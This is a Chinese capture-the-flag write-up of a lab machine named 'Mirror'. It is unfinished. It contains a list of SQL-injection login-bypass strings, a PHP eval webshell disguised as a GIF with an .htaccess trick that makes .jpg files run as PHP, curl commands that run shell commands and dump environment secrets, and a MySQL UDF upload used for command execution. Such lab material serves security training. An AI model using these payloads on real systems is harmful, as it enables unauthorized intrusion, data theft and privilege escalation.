本文最后更新于 9 天前,其中的信息可能已经有所发展或是发生改变。
概要
- 靶机名称:镜(Mirror)
- 目标网址:172.16.11.51
- 涉及操作:SQL注入+文件上传过滤机制+Apache分布式配置文件+数据库提权+UDF扩展+容器逃逸
核心考察点:
- Web 层漏洞(SQL注入为主)→ 拿管理员密码(flag1)
- 后台利用 + 文件上传 + 配置审计 + 数据库提权 → 命令执行(flag2)
- 容器逃逸(Docker Socket / Docker API 利用)→ 宿主机 flag3
一、信息收集
先搜集基本信息,查看网页
curl -I http://172.16.11.228/
HTTP/1.1 200 OK
Date: Thu, 26 Mar 2026 08:14:33 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Set-Cookie: PHPSESSID=bca04db302905a10dcc5451131f460e1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8


可汇总为:
- Web Server: Apache/2.4.54 (Debian)
- PHP 版本: 7.4.33(较老版本,存在较多已知问题) Session: 标准 PHPSESSID
- 系统环境: Debian + PHP 7.4,极大概率运行在
- Docker 容器 中(第三题提示非常明确指向 Docker API 逃逸)
二、漏洞利用和分析
SQL注入
在登录页面尝试SQL注入,绕过前端验证,进入后台
admin” or “1”=”1
admin” or 1=1 --
admin” or “1”=”1″--
admin’ or ‘1’=’1′--
admin’ or ‘1’=’1′ #
admin’ or 1=1 -- – (
‘ or ‘1’=’1′ --
admin’ or ‘1’=’1′ /*
‘) or (‘1’=’1
1′ or ‘1’=’1′ --
admin’/**/or/**/1=1 --
admin’ or 1=1– (去掉空格试试)
aDmIn’ Or ‘1’=’1
admin’ or 2>1 --
admin” or 1=1 or “”=”
admin’) or (‘1’=’1’) --
0′ or 1=1 --
admin' || '1'='1

如图所示,admin' || '1'='1可以绕进后台
文件上传
来到后台界面,发现有上传文件的功能。先验证是否能够正常上传

验证完成之后,尝试上传各种php文件,发现失败。利用burpsuite修改为.php5、.phtml等php类型后缀,全都失效,推测前端做了强过滤方式。

直接在burpsuite将.php改为.jpg,同时还需要.htaccess文件辅助,避免无法调用木马
#shell.php
GIF89a;
<?php
@eval($_POST['cmd']);
?>
------------------------------分隔--------------------------------------
#.htaccess //注意避免直接将该文件命名为.htaccess,会被kali自动隐藏
AddType appliaction/x-httpd-php .jpg
AddType appliaction/x-httpd-php .gif
AddHandler php7-script .jpg

将两个文件上传后,回到攻击机kali,验证是否起效

flag1
curl -X POST http://172.16.11.51/uploads/shell.jpg -d "cmd=system('ls -al /');"

发现重点文件:.dockerenv,说明包含env相关的敏感重要信息,尝试读取
curl -X POST http://172.16.11.51/uploads/shell.jpg -d "cmd=system('env');"

获取到数据库账密,远程连接尝试
mysql -h 172.16.11.51 -u root -pKp7mXz2wRn9sLqDf --skip-ssl

#直接在数据库内部查询数据
show databases;
use mirror_shop;
show tables;
select * from users;

直接获取flag1
flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}
UDF投递
检查当前MySQL权限,确认是否可以直接篡改插件文件目录
select @@secure_file_priv;
返回为空,证明权限过高,可以篡改插件文件目录

编写UDF,写入插件目录下
# 解密文件
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
-i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
-o /tmp/lib_mysqludf_sys_64.so
#转换十六进制
xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt
将UDF投入数据库插件目录下,创建新函数sys_eval,方便快速返回结果
#在数据库里面操作
SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.so';

此时出现误差,报错:文件内容太短,无法读取。
暂时还未找出原因,后续将再次尝试


